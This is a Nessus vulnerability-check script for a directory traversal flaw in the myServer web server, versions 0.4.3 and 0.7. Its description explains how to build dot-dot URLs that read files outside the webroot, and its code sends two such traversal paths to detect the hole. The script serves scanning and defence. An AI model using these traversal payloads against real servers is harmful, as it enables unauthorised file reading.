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- #
- # This script was written by Paul Johnston of Westpoint Ltd <paul@westpoint.ltd.uk>
- #
- # See the Nessus Scripts License for details
- #
- # References:
- #
- # From: "Securiteinfo.com" <webmaster@securiteinfo.com>
- # To: bugtraq@securityfocus.com
- # Date: Wed, 15 Sep 2004 17:42:48 +0200
- # CC: admin@succurit.com, bugs@securitytracker.com, contact@isecurelabs.com,
- # dis@phreak.org, news@securiteam.com, snpMarq@yahoo.com,
- # submissions@packetstormsecurity.org, ts@securityoffice.net,
- # vuln@security-corporation.com, vulnwatch@vulnwatch.org
- # Message-Id: <200409151742.48914.webmaster@securiteinfo.com>
- # Subject: myServer 0.7 Directory Traversal Vulnerability
- #
-
- if(description)
- {
- script_id(11851);
- script_version ("$Revision: 1.3 $");
-
- name["english"] = "myServer 0.4.3 / 0.7 Directory Traversal Vulnerability";
- script_name(english:name["english"]);
-
- desc["english"] = "
- This web server is running myServer <= 0.4.3 or 0.7. This version contains
- a directory traversal vulnerability, that allows remote users with
- no authentication to read files outside the webroot.
-
- You have to create a dot-dot URL with the same number of '/./' and '/../'
- + 1. For example, you can use :
- /././..
- /./././../..
- /././././../../..
- /./././././../../../..
- etc...
- or a long URL starting with ./././. etc.
-
- More information : http://www.securityfocus.com/archive/1/339145
-
- Solution : Upgrade to myServer 0.7.1 or later
- Risk factor : High";
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Attempts to retrieve the path '/././..'";
- script_summary(english:summary["english"]);
-
- script_category(ACT_ATTACK);
- script_copyright(english:"Author Paul Johnston paul@westpoint.ltd.uk, Copyright (C) 2003 Westpoint Ltd");
- script_family(english:"CGI abuses");
-
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
-
- exit(0);
- }
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
- # In fact, myServer 0.7 is also vulnerable to the first URL.
- # However, as the bug was supposed to be fixed in 0.4.3 and reappeared in
- # 0.7, I think that checking every avatar is safer.
-
- foreach pattern (make_list("/././..", "././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../"))
- {
- req = http_get(item: pattern, port:port);
- res = http_keepalive_send_recv(port:port, data:req);
- if(res == NULL) exit(0);
-
- if(ereg(pattern:"^HTTP/[0-9]\.[0-9] 200 ", string:res)
- && egrep(pattern:"Contents of folder \.\.", string:res, icase:1))
- {
- security_hole(port);
- exit(0);
- }
- }
-